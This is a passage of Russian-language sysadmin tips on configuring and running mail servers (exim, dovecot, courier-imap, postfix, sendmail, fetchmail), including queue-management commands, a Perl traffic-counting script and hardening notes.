          tail /var/log/exim/mainlog
    
    Если всё правильно настроено, то в логе будут записи примерно следующего содержания:
    
          2009-07-06 08:26:54 1MNnHZ-000CJx-U5 <= root@srv.example.local U=root P=local S=363
          2009-07-06 08:26:54 1MNnHZ-000CJx-U5 => admin <admin@example.local> R=localuser T=local_delivery
          2009-07-06 08:26:54 1MNnHZ-000CJx-U5 Completed
    
    12. Устанавливаем dovecot
    
          cd /usr/ports/mail/dovecot
          make WITH_SSL=yes WITHOUT_IPV6=yes WITH_MYSQL=yes install clean 
          echo 'dovecot_enable="YES"' >> /etc/rc.conf
    
    13. Конфигурируем dovecot
    
          mv /usr/local/etc/dovecot.conf /usr/local/etc/dovecot.conf.orig
          cd /usr/local/etc/
          fetch -v http://www.opennet.ru/soft/dovecot.conf
          fetch -v http://www.opennet.ru/soft/dovecot-sql.conf
    
    14. Запускаем dovecot
    
          /usr/local/etc/rc.d/dovecot start
    
    15. Настраиваем почтовый клиент на получение-отправку почты. В качестве логина
    используем e-mail адрес.
    
    Описание таблиц БД exim_db:
    
    Таблица accounts - учётные записи пользователей
    Таблица aliases - алиасы для почтовых адресов
    Таблица domains - имена почтовых доменов, адреса МХ-ов и их ip-адресов
    Таблица spam_domains - список "чёрных" доменов
    Таблица spam_emails - список "чёрных" почтовых адресов
    Таблица spam_ip_senders - список "чёрных" ip-адресов
    Таблица white_domains - список "белых" доменов
    Таблица white_emails - список "белых" почтовых адресов
    Таблица white_ip_senders - список "белых" ip-адресов
    
     
    ----* Настройка виртуальных совместных папок в courier-imap (доп. ссылка 1)   Автор: Kontrabass  [комментарии]
     
    Имеем: виртуальные пользователи в mysql базе,
    пользователь virtual uid 1000 gid 1000 - владелец маилбоксов, от его имени раскладываем почту.
    
    Пользователь spam@example.ru с логином spam
    подключаемся им по imap, создаем в inbox новую папку MarkHam
    
    Создаем файл /usr/local/etc/courier-imap/shared/index
    
       name    1000    1000    /mail/    spam/.MarkHam
    
    здесь name - название папки под которым ее увидят пользователи в shared_folders
    1000 1000 uid gid пользователя virtual - владельца /mail/*
    /mail - кусочек пути в расшариваемой папке
    /spam/.MarkHam - еще кусочек пути
    
    Далее необходимо настроить права доступа.
    
    Имеется пользователь admin@example.ru с логином admin
    в файл /mail/spam/.MarkHam/courierimapacl добавим строчку
    
       user=admin lr
    
    так пользователю admin разрешили смотреть и читать..
    подробнее man maildiracl
    
    далее
    
       sharedindexinstall
    
    теоретически должна съесть наш файлик и...
    но заявляет что ... /shared.tmp пусто.
    
       cp /usr/local/etc/courier-imap/shared/index /usr/local/etc/courier-imap/shared.tmp
       sharedindexinstall
    
    после этих манипуляций в почтовике обнаруживается shared_folders ТОЛЬКО У ADMIN@EXAMPLE.RU
    и только на чтение. Остальным права не давали и shared_folders они не увидят вообще.
    
    Итак, для появления shared_folders в клиенте необходимо:
    
    1 подправить права у целевой папки
    2 файлик index скормить sharedindexinstall
      ну и наверняка .../rc.d/courier-imap-imapd restart
    
     
    ----* Настройка Postfix для отправки почты через релэй, требующий авторизации   Автор: DREAMER  [комментарии]
     
    Пример настройки работы Postfix через релэй с авторизацией наподобие krasmail.ru:
    
    /etc/postfix/main.cf
    
       relayhost = [krasmail.ru]
    
       # auth_krasmail
       smtp_sasl_auth_enable = yes
       smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
       smtp_sasl_security_options = noanonymous
       smtp_sasl_type = cyrus
       smtp_sasl_mechanism_filter = login
       smtpd_sasl_path = smtpd
    
    /etc/postfix/sasl_passwd
    
       [krasmail.ru]  user:password
    
    и потом 
    
       postmap sasl_passwd
       postfix reload
    
     
    ----* Полезные команды exim (доп. ссылка 1)   Автор: Хостинг Помощь  [комментарии]
     
    Удаление почтового сообщения по ID
       /usr/sbin/exim -v -Mrm ID
    
    Список сообщений в очереди
       /usr/sbin/exim -bp
    
    Число сообщений в очереди
       /usr/sbin/exim -bpc
    
    Удаление "замороженных" сообщений
       /usr/sbin/exim -bp | awk '$6~"frozen" { print $3 }' | xargs exim -Mrm
    
    Принудительная рассылка всей почты в очереди (flush)
       /usr/sbin/exim -qff -v -C /etc/exim.conf &
    
    "Заморозить" почту по email
       /usr/sbin/exiqgrep -i -f email | xargs exim -Mf
    
    Удалить почту по email
       /usr/sbin/exiqgrep -i -f email | xargs exim -Mrm
    
     
    ----* Копирование писем в Exim. (доп. ссылка 1)   Автор: mr-tacitus  [комментарии]
     
    Перейдите в секцию ROUTERS файла конфигурации /usr/local/etc/exim/configure 
    и перед роутером dnslookup добавьте:
    
       archive_all:
       driver = accept
       transport = tr_archive_all
       unseen
    
    В секции TRANSPORTS добавьте:
    
       tr_archive_all:
       driver = appendfile
       maildir_format
       mode = 0660
       mode_fail_narrower = false
       envelope_to_add = true
       return_path_add = true
       directory = /var/mail/archive@domain.com
    
    Перезагрузите Exim. Теперь вся входящая и исходящая почта будет сохраняться 
    в директории /var/mail/archive@domain.com.
    
     
    ----* Проверка подлинности получателя в Sendmail + Exchange Server 2003   Автор: Дачкин Евгений  [комментарии]
     
    Проверка подлинности получателя сообщений
    Sendmail + LDAP_ROUTING + AD + Exchange 2000/2003
    
    Исходные данные:
    
    AD на базе Win 2003, Exchange Server 2003 расположенный в корпоративной сети. 
    Канал Internet и корпоративную сеть разделяет шлюз в DMZ которого располагается 
    почтовый релей - сервер на базе FreeBSD + Sendmail.
    
    Задача:
    
    При попытке отправки письма пользователями Internet пользователям Exchange сервера, 
    проверять подлинность адреса получателя,  тем самым сократив почтовый трафик 
    и избавиться от ненужных NDR (Non-Delivery Report) сообщений.
    
    Действия:
    
    Завести в AD служебную учётную запись, от которой будут осуществляться запросы в LDAP каталог.
    
    Пример:
    
    Пользователь: CN=LDAP_Searcher,OU=Service Accounts,DC=mydomain,DC=com
    Пароль: password
    
    Собрать Sendmail с поддержкой LDAP
    
       # cd /usr/ports/mail/sendmail-ldap/
       # make
       # make install
    
    Проверить корректность фильтра, соединения с сервером LDAP каталога (контроллером домена)
    
    Фильтр:
       (&(|(objectclass=user)(objectclass=group))(proxyAddresses=smtp:myname@mydomain.com))
    
    Пример запроса:
    
       #ldapsearch -L -x -D "CN=LDAP_Searcher,OU=Service Accounts,
          DC=mydomain,DC=com" -w "password" -h "192.168.0.1" -p 389 -s sub -b 
          "DC=MYDOMAIN,DC=COM" -d "0" "(&(|(objectclass=user)
          (objectclass=group))(proxyAddresses=smtp: myname@mydomain.com))"
    
    Где 192.168.0.1 - IP адрес сервера LDAP каталога (контроллера домена).
    
    Результатом работы данной команды мы должны получить полный список всех атрибутов объекта каталога 
    и их значения, соответствующие пользователю или группе, среди smtp 
    адресов которого встречается  myname@mydomain.com.
    
    Исходя из положительного результата, приступаем к конфигурации Sendmail.
    
    Добавляем в файл sendmail.mc следующие 3 строки:
    
    define(`confLDAP_DEFAULT_SPEC', `-h "192.168.0.1" -b "DC=MYDOMAIN,
    DC=COM" -d "CN=LDAP_Searcher,OU=Service Accounts,DC=mydomain,
    DC=com" -MLDAP_AUTH_SIMPLE -P/etc/mail/ldap_pass')dnl
    
    LDAPROUTE_DOMAIN_FILE(`/etc/mail/ldap_route_domains')dnl
    
    FEATURE(`ldap_routing', `null', `ldap -1 -T<TMPF> -v mail -k 
    (&(|(objectclass=user)(objectclass=group))(proxyAddresses=smtp:%0))',`bounce')dnl
    
    Собираем sendmail.cf
    
    /usr/bin/m4 /usr/share/sendmail/cf/m4/cf.m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf
    
    Содаём файл /etc/mail/ldap_pass, содержимым которого является пароль служебной 
    учётной записи LDAP_Searcher в открытом виде. В нашем случае:
    password
    
    Создаём файл /etc/mail/ldap_route_domains, содержимым которого является:
    mydomain.com
    
    Запускаем Sendmail.cf
    
    Внимательно проверяем результат.
    
     
    ----* Подсчет exim трафика с разделением на локальный и мировой   Автор: DelGod  [комментарии]
     
    В файле конфигурации exim пишем:
    
       log_file_path = /var/log/exim/exim-%s-%D.log
       log_selector = +delivery_size +sender_on_delivery +received_recipients
    
    В файл /var/db/ukr_net ложим список украинских сетей
    
    И собствено скрипт для подсчета трафика с разделением на украинский и мировой:
    
    #!/usr/bin/perl -w
    
    my ($nmin, $nmax) = (32,0);
    
    open UKRNETS, "/var/db/ukr_net";
    while (<UKRNETS>) {
      s/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\/([0-9]+)$//;
      $UkrIPs{substr(substr(unpack("B32", pack("N", $1)),24).substr(unpack("B32", pack("N", $2)),24).substr(unpack("B32", pack("N", $3)),24).substr(unpack("B32", pack("N", $4)),24),0,$5)}="$1.$2.$3.$4\/$5";
      $nmin = $5 if $5 < $nmin;
      $nmax = $5 if $5 > $nmax;
    }
    close UKRNETS;
    
    open TRAFF, '/var/log/exim/exim-main-20060122.log';
    while (<TRAFF>) {
      my ($mail_from,$mail_to,$ip,$bytes_in,$bytes_out);
      if      (/^[0-9-]+ [0-9:]+ [A-Za-z0-9]{6}-[A-Za-z0-9]{6}-[A-Za-z0-9]{2} <= ([^\@]+@[A-Za-z0-9-.]+).* H=.*\[([0-9.]+)\].* S=([0-9]+).* for ([^\@]+@[A-Za-z0-9-.]+)$/) {
        $mail_1=$1;
        $mail_2=$4;
        $ip=$2;
        $bytes_in=$3;
        $bytes_out=0;
      } elsif (/^[0-9-]+ [0-9:]+ [A-Za-z0-9]{6}-[A-Za-z0-9]{6}-[A-Za-z0-9]{2} [\=\-\*]\> ([^\@]+@[A-Za-z0-9-.]+).* F=\<([^\@]+@[A-Za-z0-9-.]+)\>.* T=remote_smtp S=([0-9]+).* H=.*\[([0-9.]+)\].*/) {
        $mail_1=$2;
        $mail_2=$1;
        $ip=$4;
        $bytes_in=0;
        $bytes_out=$3;
      }
      if ((defined($ip)) and ($ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/)) {
        my $ipB=substr(unpack("B32", pack("N", $1)),24)."".substr(unpack("B32", pack("N", $2)),24)."".substr(unpack("B32", pack("N", $3)),24)."".substr(unpack("B32", pack("N", $4)),24);
        for ($Ne=$nmax; $Ne>=$nmin; $Ne--) {
          my $ipBin=substr($ipB,0,$Ne);
          if ($UkrIPs{$ipBin}) {
            $m_from{$mail_1}{ukr}{in} +=$bytes_in;
            $m_from{$mail_2}{ukr}{in} +=$bytes_in;
            $m_from{$mail_1}{ukr}{out}+=$bytes_out;
    
            $m_from{$mail_1}{mir}{in} -=$bytes_in;
            $m_from{$mail_2}{mir}{in} -=$bytes_in;
            $m_from{$mail_1}{mir}{out}-=$bytes_out;
            last;
          }
        }
        $m_from{$mail_1}{mir}{in} +=$bytes_in;
        $m_from{$mail_2}{mir}{in} +=$bytes_in;
        $m_from{$mail_1}{mir}{out}+=$bytes_out;
      }
    }
    close TRAFF;
    
    my $i=0;
    foreach $mails (keys %m_from) {
      $i++;
      print "$i $mails 
      in  ukr $m_from{$mails}{ukr}{in}
      out ukr $m_from{$mails}{ukr}{out}
      in  mir $m_from{$mails}{mir}{in}
      out mir $m_from{$mails}{mir}{out}
    ";
    }
    
     
    ----* Как забирать почту с одного ящика и раскладывать локальным пользователям (доп. ссылка 1)   Автор: universite  [комментарии]
     
    Ниже настройки для fetchmail для забора почты с группового почтового ящика 
    и распределения ее по локальным ящикам пользователей.
    
    /usr/local/etc/fetchmailrc
    
      set daemon 905
    
      defaults
      set logfile /var/log/fetchmail/fetchmail.log
    
      poll mx2.yyyyyyy.od.ua
        proto pop3
        envelope X-Envelope-To localdomains yyyyyyy.od.ua
        user "halo"
        pass "qwerty"
        is root
        nokeep
        fetchall
        flush
        smtpaddress smtp.xxxxx.odessa.ua
        fetchdomains yyyyyyy.od.ua
        is "*" = to "*"
        norewrite
        smtphost 127.0.0.1
      ##############
    
    chmod 710 /usr/local/etc/fetchmailrc # выставляем привелегии для конфига
    chown fetchmail:wheel /usr/local/etc/fetchmailrc # выставляем владельца и группу конфига
    echo 'fetchmail_enable="YES"' >> /etc/rc.conf  # прописываем для старта в rc.conf 
    /usr/local/etc/rc.d/./fetchmail start # запускаем демона
    
    set daemon 905  - проверять ящик каждые 905 сек.
    mx2.yyyyyyy.od.ua - имя сервера, откуда почту забираешь
    yyyyyyy.od.ua - твой домен
    halo - логин на ящике и ниже его пароль
    smtp.xxxxx.odessa.ua - smtp провайдера или твой релей
    
    Сортируется по заголовкам "X-Envelope-To"
    
     
    ----* Дублирование доставки почты в Postfix c авторизацией в mysql   Автор: triz0r  [комментарии]
     
    Есть Postfix + авторизация пользователей в mysql. Так вот появилась необходимость почту, 
    приходящую на какой-нить адрес ещё пересылать кому-угодно. Т.е. не форвардить письмо, 
    а именно копию отсылать на нужный адрес. Притом хочется чтобы всё было красиво и понятно.
    
    Решение: 
    
    Postfix ищет virtual_maps в базе mysql
       virtual_maps=hash:/etc/postfix/virtual_maps.cf
    
    virtual_maps.cf содержит запрос который по адресу email выдает alias.  
    Что-то типа такого:
    
       user = postfix
       password = postfix
       dbname = mail
       table = alias
       select_field = goto
       where_field = address
       hosts = 127.0.0.1
    
    На goto идет почта, которая предназначается для address. Т.е. на один физический maildir 
    (или другой конечный пункт) собирается почта от разных алиасов. 
    Проблема в том что при такой конфигурации не сделать так чтобы почта для user@domain.com 
    шла и на alias1@domain.com и на alias2@domain2.com
    
    После анализа того, как механизм Postfix читает возврат от mysql получаем:
    
    Нужно чтобы почта для локального юзера user@domain.com приходила на
    user@domain.com + на mail@domain2.com
    и + ещё куда нить :) При этом везде должна лежать копия. 
    
    Обычно таблица alias содержит вот что:
    
       address goto
       email1   email2
       email3   email2
       ...
       email5   email_other
    
    Надо сделать так.
    
       address   goto
       email     other_email1,other_email2,...
    
    Т.е. через запятую без пробелом указываем все те адреса куда надо послать копию письма. 
    hash:/mysql примет строку и КОРРЕКТНО подставит её куда надо, а сам Postfix нормально 
    всё выставит в очередь сообщений и отправит. Там же указываем адрес локальной доставки. 
    И всё :) Никаких скиптов, procmail и прочей бурды. 
    
    Теперь представьте гибкость и легкость с такими вещами как redirect, forwarding, copy + mysql.
     
    
     
    ----* Авторизация пользователей в postfix с использованием Cyrus-SASL2 и MySQL   Автор: Case Dorsett  [комментарии]
     
    Все делалось на FreeBSD 5.4.
    
    Ставим cyrus-sasl2:
       # cd /usr/ports/security/cyrus-sasl2
       # make -DWITHOUT_NTLP -DWITHOUT_OTP -DWITH_MYSQL install clean
    
    Ставим postfix:
       # cd /usr/ports/mail/postfix
       # make install clean
    
    Появится менюшка, где надо выбрать с поддержкой чего собирать, нам нужно минимум SASL2, 
    жмем ОК и ждем окончания сборки, после:
    в файл /usr/local/lib/sasl2/smtpd.conf пишем следующее (ессно заменить информацию о mysql на свою):
    
       pwcheck_method: auxprop
       auxprop_plugin: sql
       mech_list: sql plain login
       sql_engine: mysql
       sql_hostnames: localhost
       sql_user: postfix
       sql_passwd: <li><li>*
       sql_database: mail
       sql_select: select password from users where login='%u@%r'
       sql_verbose: yes
    
    В /usr/local/etc/postfix/main.cf дописываем:
       broken_sasl_auth_clients = yes
       smtpd_sasl_auth_enable = yes
       smtpd_sasl_local_domain =
       smtpd_sender_restrictions = permit_sasl_authenticated, permit_mynetworks
       smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject
    
       # postfix reload
    
    После наполняем mysql и все.. авторизация проходит..
    
    Таких статей конечно много, но при всем их количестве - ушло 2 дня что бы
    собрать рабочую конфигурацию..
    то в одной статье опечатка, то в другой вообще уже устаревшая информация.. 
    здесь я обобщил просто то, что получилось именно у меня в конкретном случае..
    
     
    ----* Пример боевой конфигурации Postfix   Автор: Вотинцев Сергей А.  [комментарии]
     
    queue_directory = /var/spool/postfix
    command_directory = /usr/local/sbin
    daemon_directory = /usr/local/libexec/postfix
    
    sendmail_path = /usr/local/sbin/sendmail
    newaliases_path = /usr/local/bin/newaliases
    mailq_path = /usr/local/bin/mailq
    setgid_group = maildrop
    manpage_directory = /usr/local/man
    sample_directory = /usr/local/etc/postfix
    
    mail_name = ESMTP
    mail_owner = postfix
    myhostname = domain.ru
    mydomain = domain.ru
    myorigin = $mydomain
    
    virtual_alias_domains = virtual.domain.ru
    virtual_alias_maps = hash:/usr/local/etc/postfix/virtual
    
    inet_interfaces = all
    mydestination = $mydomain, localhost.$mydomain, localhost
    
    mynetworks_style = host
    mynetworks = hash:/etc/mail/popauth
    
    relay_domains =
    
    allow_mail_to_commands = alias
    allow_mail_to_files = alias
    
    local_recipient_maps = hash:/usr/local/etc/postfix/users $alias_maps
    alias_maps = hash:/usr/local/etc/postfix/aliases
    alias_database = hash:/usr/local/etc/postfix/aliases
    header_checks = regexp:/usr/local/etc/postfix/header_checks
    address_verify_map = btree:/usr/local/etc/postfix/verify
    
    unknown_local_recipient_reject_code = 550
    
    in_flow_delay = 1s
    
    smtpd_banner = $myhostname ESMTP
    smtpd_helo_required = yes
    disable_vrfy_command = yes
    strict_rfc821_envelopes = yes
    show_user_unknown_table_name = no
    smtpd_client_event_limit_exceptions =
    smtpd_delay_reject = no
    
    default_process_limit = 50
    smtpd_client_connection_count_limit = 15
    smtpd_client_connection_rate_limit = 10
    smtpd_client_message_rate_limit = 5
    anvil_rate_time_unit = 30s
    smtpd_recipient_limit = 5
    smtpd_recipient_overshoot_limit = 5
    
    local_destination_concurrency_limit = 2
    default_destination_concurrency_limit = 10
    
    message_size_limit = 5242880
    mailbox_size_limit = 26214400
    header_size_limit = 51200
    
    smtpd_timeout = 30s
    smtpd_junk_command_limit = 5
    smtpd_error_sleep_time = 10s
    smtpd_soft_error_limit = 3
    smtpd_hard_error_limit = 5
    
    hopcount_limit = 5
    
    smtpd_etrn_restrictions = reject
    smtpd_reject_unlisted_recipient = yes
    smtpd_reject_unlisted_sender = yes
    address_verify_sender = abuse
    
    smtpd_client_restrictions = check_client_access hash:/usr/local/etc/postfix/access,
    			    reject_rbl_client relays.ordb.org,
    			    reject_rbl_client list.dsbl.org,
    			    reject_multi_recipient_bounce,
    			    reject_unauth_pipelining
    			    
    smtpd_helo_restrictions = reject_unknown_hostname,
    			    reject_invalid_hostname,
    			    reject_non_fqdn_hostname
    
    smtpd_recipient_restrictions = reject_non_fqdn_recipient,
    				reject_unknown_recipient_domain,
    				reject_unlisted_recipient,
    				permit_mynetworks,
    				reject_unauth_destination
    
    smtpd_sender_restrictions = reject_non_fqdn_sender,
    			    reject_unknown_sender_domain,
    			    reject_unlisted_sender,
    			    permit_mynetworks,
    			    check_sender_access hash:/usr/local/etc/postfix/sender,
    			    reject_unverified_sender 
    
     
    ----* Использование pop-before-sendmail.patch для popa3d и Postfix   Автор: Вотинцев Сергей А.  [комментарии]
     
    Последовательность действий для установки POP Before SMTP на popa3d + Postfix 
    
    1: cd /usr/ports/mail/popa3d
    2: make
    3: cd work/popa3d-popa3d-1.0
    4: cp ../../files/pop-before-sendmail.patch pop-before-sendmail.patch
    5: patch < pop-before-sendmail.patch
    правим если нужно params.h
    6: make
    7: cd ../../
    8: make install && make clean
    9: cd /etc/mail/ && touch popauth && postmap popauth
    
    Правим main.cf:
    10: mynetworks = hash:/etc/mail/popauth
    11: postfix reload
    
    Правим inetd.conf
    12: pop3    stream  tcp     nowait/10/5/2  root    /usr/local/libexec/popa3d   popa3d
    
    перезапускаем inetd.
    
     
    ----* Как перезапустить очередь в postfix   Автор: Nikolaev D./  [комментарии]
     
    Иногда после изменений в конфигурации необходимо перезапустить очередь
     что бы сообщения в очереди начали обрабатываться заново:
       postsuper -r ALL
    
    Для очистки очереди:
       postsuper -d ALL
    
     
    ----* Почему при обработке почты скриптом в Postfix возникает "mail forwarding loop"   [комментарии]
     
    Для предотвращения эффекта игры в "пинг-понг" Postfix добавляет к
    каждому полученному сообщению заголовок "Delivered-To:" (изменить
    подобное поведение можно через директиву prepend_delivered_header, но
    крайне не рекомендуется, из-за возможности появления замкнутых петель).
    
    Если письмо обрабатывает скрипт и затем пересылает на другой email
    (например, менеджер почтовых рассылок), оставив поле "Delivered-To:"
    в неизменном состоянии, то ложно срабатывает защита.
    
    В качестве решения рекомендуется вырезать заголовок "Delivered-To:"
    на этапе получения письма в скрипте.
    
    Например:
        while (<STDIN>){
            if (! /^delivered-to:/i){
                ....
            }
        }
    
     
    ----* Как обеспечить работу SMTP сервера при dial-up соединении   [комментарии]
     
    - Диалап с фиксированным IP;
    - MTA провайдера должен быть MX'ом для domain.com (с прописанным почтовым
    рутингом и "hold" спулом);
    - После выхода в сеть, посылаем команду "ETRN domain.com", которая приведет к инициированию 
    процесса отправки сообщений из спула для domain.com:
       echo -e "HELO dial.domain.com\nETRN domain.com\nQUIT\n"| nc relay.domain.com 25
    
     
    ----* Как удалить письмо из очереди Postfix   [комментарии]
     
    postsuper -d <id> deferred (-d ALL - удалить все сообщения из очереди)
    Для удаления группы писем от определенного адресата, можно использовать:
      mailq|grep 'test@test.ru'|awk '{print $1}'|xargs -J{} -n1 postsuper -d {} deferred
    
     
    ----* Как в postfix осуществить преобразования UUCP формата email адреса или внести изменения в адрес.   [комментарии]
     
    man 5 canonical (см. canonical_map, recipient_canonical_maps,  sender_canonical_maps)
    main.cf:
       canonical_maps = regexp:/etc/postfix/canonical_regexp
    canonical_regexp:
       /^.*!(.*)!(.*)$/        $2@$1
       /^([^!]+)!([^@]+)@.*$/  $2@$1
    Преобразуем из вида uutest6!uutest6.uucp.test.ru!user318 в вид user318@uutest.uucp.test.ru
    
     
    ----* Как организовать в sendmail пересылку всей почты (или для выбранных доменов) только через определенный релей.   [комментарии]
     
    в sendmail.cf: DSesmtp:[relay.somehost.ru]
    или для m4 скриптов:
        define(`SMART_HOST',`relay.somehost.ru')dnl
    или для игнорирования MX значения (далее в квадратных скобках):
        define(`SMART_HOST',`[relay.somehost.ru]')dnl
    Для описания пути транспортировки почты (почтового роутинга) для определенных доменов:
    FEATURE(`mailertable', `hash /etc/mail/mailertable')dnl
    /etc/mail/mailertable
    domain1         esmtp:relay1.somehost.ru
    domain2         smtp:[relay2.somehost.ru]
    
     
    ----* Как в postfix настроить маршрутизацию почты в обход значения MX   [комментарии]
     
    Для отправки почты для test.ru только через relay2.test.ru в обход MX:
      main.cf:
          transport_maps = hash:/usr/local/etc/postfix/transport
      transport:
          test.ru :[relay2.test.ru]                           
    Для того чтобы всю почты пересылать через релэй, 
    нужно использовать в main.cf опцию relayhost
    
     
    ----* Как в postfix и sendmail перенаправить почту для несуществующих пользователей на определенный email ?   [комментарии]
     
    Postfix:
        luser_relay = vasia@pupkin.org
    Или, для виртуального домена в virtual, перенаправим всю почту для домена
    test.ru на vasia@pupkin.org, в viruals :
       test.ru test.ru
       @test.ru     vasia@pupkin.org
    Sendmail, используя m4:
        define(`LUSER_RELAY',`mail.somehost.ru')  # перенаправление на почтовый сервер
        define(`LUSER_RELAY',`local:pupkin') # перенаправление локальному пользователю.
    
     

       Безопасность и установка ограничений

    ----* Вариант конфигурации exim в непривилегированном режиме   Автор: Pavel Samsonov  [обсудить]
     
    Заметка написана с целью поделиться опытом о использовании почтового сервера
    exim  в непривилегированном режиме. Мы используем Exim версии 4.69,
    операционную систему: Slackware Linux 13.0. В главе 51 "Обсуждение
    безопасности" спецификации Exim MTA обсуждаются варианты запуска exim в
    непривилегированном режиме.
    
    Вариант, который использую я, чуть отличается.
    
    Начнём с рассмотрения конструкции и разрешений пользовательского почтового ящика или каталога.
    Пользовательский почтовый ящик формата Mbox. Владелец почтового ящика -
    пользователь, группа - mail.
    Разрешения на почтовый ящик rw-rw----. Таким образом доступ на запись/чтение в
    почтовый ящик имеют владелец и группа mail.
    Группа mail будет использоваться для доставки почты в почтовые ящики.
    Драйвер append_file у Exim не умеет режим доступа к файлу Mbox rw--w--w-.
    
    Почтовый каталог формата Maildir. Владелец почтового каталога - пользователь, группа - mail.
    Доставленные в почтовый каталог файлы писем будут иметь разрешения mail:mail rw-r--r--.
    Доставленными файлами писем пользователь не владеет - владельцем остаётся
    пользователь доставки, но имеет доступ на чтение и перемещение файлов писем.
    На подкатлоги new и tmp нужно выставить разрешение на запись для группы mail,
    для подкаталога cur это необязательно.
    
    Теперь рассмотрим конструкцию очереди Exim:
    Я выбрал разрешения на все подкаталоги очереди одинаковые: root:mail rw-rw----.
    Exim создаёт файлы и каталоги в своей очереди с разрешениями rw-rw---- и
    rwxrwx--- соответственно, это настраивается в Makefile при сборке exim.
    
    Запускать exim можно от пользователя root с изменением привилегий процессов
    exim на mail:mail установкой в конфигурационном файле опций exim_user = mail,
    exim_group = mail.
    Можно если требуется запустить exim от пользователя mail, для этого нужно
    обеспечить возможность открытия привелегированного сетевого порта.
    В Linux это можно обеспечить установкой возможности (capabilitie)
    cap_net_bind_service на исполняемый файл exim.
    
    Дополнительно я устанавливаю опцию deliver_drop_privileges в конфигурационном файле.
    Исполняемому файлу exim назначены группа и владелец mail и root соответственно,
    разрешения rwxrwxr-x, установлен setgid бит.
    
    Вариант маршрутизатора и транспорта для доставки в mbox:
    
       local_delivery_router:
        driver = accept
        check_local_user
        domains = +local_domains
        transport = local_delivery
        user = $caller_uid
        group = mail
    
       local_delivery_transport:
        driver = appendfile
        file = /var/mail/$local_part
        delivery_date_add
        envelope_to_add
        return_path_add
        check_owner = false
        check_group = false
        file_must_exist = true
        user = $caller_uid
        group = mail
        mode = 660
    
    Вариант маршрутизатора и транспорта для доставки в maildir:
    
       maildir_router:
        driver = accept
        check_local_user
        domains = +local_domains
        transport = maildir_transport
        user = $caller_uid
        group = mail
       
       maildir_transport:
        driver = appendfile
        maildir_format = true
        directory = $home/Mail/
        delivery_date_add
        envelope_to_add
        return_path_add
        user = $caller_uid
        group = mail
        mode = 644
        check_owner = false
        check_group = false
        create_directory = false
       
    Переменная $caller_uid имеет значение uid пользователя, запустившего exim для доставки сообщения.
    Для писем, принятых по smtp это пользователь exim_user = mail.
    Для писем, доставляемых обработчиком очереди это пользователь exim_user = mail.
    
    При отправке пользователями писем с консоли например утилитой Heirloom mailx,
    пользователи получают право использовать привилегии группы mail при исполнении
    файла exim с помощью установленных setgid бита и группы mail на исполняемый
    файл exim.
    При этом отправляемое письмо может помещаться в очередь exim или немедленно доставляться локально.
    Владелец и группа файла письма в очереди и, возможно в почтовом каталоге
    назначения - $caller_uid:mail.
    Также создаётся файл журнала письма с владельцем и группой $caller_uid:mail и
    разрешениями rw-rw----.
    В процессе доставки письма exim пытается менять владельца файла журнала письма
    предположительно на exim_user = mail.
    В рассматриваемой конфигурации для писем, отправляемых пользователями из
    консоли, он этого сделать не может и это вызывает ошибку доставки.
    Смену владельца файла журнала письма приходится отключить изменением исходного
    кода exim. Другого способа я не нашёл.
    Владельцем файла журнала письма в этом случае останется пользователь-отправитель.
    
    Возможно имеет смысл помещать все отправляемые письма в очередь. Для этого
    можно установить в конфигурационном файле опцию queue_only.
    
    Возможно имеет смысл ограничить возможность отправки писем по smtp только
    пользователями группы mail.
    Это вызвано сложностью контроля e-mail адреса отправителя с сетевого многопользовательского хоста.
    В Linux это можно сделать на уровне сетевого фильтра по gid mail.
    
     
    ----* Подключение виртуальной базы пользователей к Dovecot с CRAM-MD5 аутентификацией (доп. ссылка 1)   [комментарии]
     
    Для того чтобы не хранить базу виртуальных пользователей с открытыми паролями
    можно использовать в Dovecot механизм аутентификации CRAM-MD5.
    
    Для включения  CRAM-MD5 аутентификации в /etc/dovecot.conf необходимо привести конфигурацию к виду:
    
       default_mail_env = maildir:/var/spool/vhosts/%d/%n
       auth_mechanisms = plain DIGEST-MD5 CRAM-MD5
       auth_verbose = yes
       auth default {
          mechanisms = plain cram-md5
          passdb passwd-file {
          args = /etc/dovecot/passdb
       }
       userdb static {
          args = uid=virtual gid=virtual /etc/dovecot/userdb
       }
    
    
    В директории /etc/dovecot создаем два файла: passdb с паролями и userdb со
    списком пользователей и расположением их виртуальных аккаунтов.
    
    Пример содержимого userdb:
    
       tom@example.com::510:510::/var/spool/vhosts/example.com/:/bin/false::
     
    Пример passdb:
    
       tom@example.com:{HMAC-MD5}e02d374fde0dc75a17a557039a3a5338c7743304777dccd376f332bee68d2cf6
    
    Для формирования HMAC-MD5 хэша на основе открытого пользовательского пароля
    необходимо использовать утилиту dovecotpw:
    
       # dovecotpw
       Enter new password:
       Retype new password:
       {HMAC-MD5}e02d374fde0dc75a17a557039a3a5338c7743304777dccd376f332bee68d2cf6
    
     
    ----* Создание ограничений входящей и исходящей почты в Postfix для определенных пользователей (доп. ссылка 1)   Автор: Резников Алексей  [комментарии]
     
    Ситуация:есть Postfix выставленный в Интернет,который допустим выступает шлюзом для Exchange в LAN.
    Задача: разрешить отправку почты в Интернет и обратно только определенным пользователям. 
    Выход: используем классы разрешений, Postfix restriction classes.
    
    
    Создаем два класса users_out для исходящих писем,users_in соответственно для входящих.
    
       smtpd_restriction_classes = users_out, users_in
    
    В классах будут проверятся пользователи которым разрешено отправлять и получать почту,
    именно этим и занимаются правила check_*_access
    
       users_in = check_recipient_access hash:/etc/postfix/users, reject
       users_out = check_sender_access hash:/etc/postfix/users, reject
    
    В smtpd_*_restrictions указываем проверку на наш почтовый домен domain.ru 
    к которому будет  применяться созданные классы.
    
       smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/senders
       smtpd_recipient_restrictions = permit_mynetworks,
                                  check_recipient_access hash:/etc/postfix/destinations,
                                  reject_unauth_destination
    
    Файл destinations с нашим доменом и указанием классов которые будут применятся к ним у
    
       domain.ru         users_in
    
    Содержимое файла senders
    
       domain.ru         users_out
    
    Файл users со списком пользователей которым разрешено отправлять и получать почту
    
       test@domain.ru        OK
       boss@domain.ru        OK
       billy@domain.ru       OK
    
    Итог: Имеем конфигурацию с помощью которой можем разрешать пересылку
    определенным пользователям на определенные наши домены.
    
     
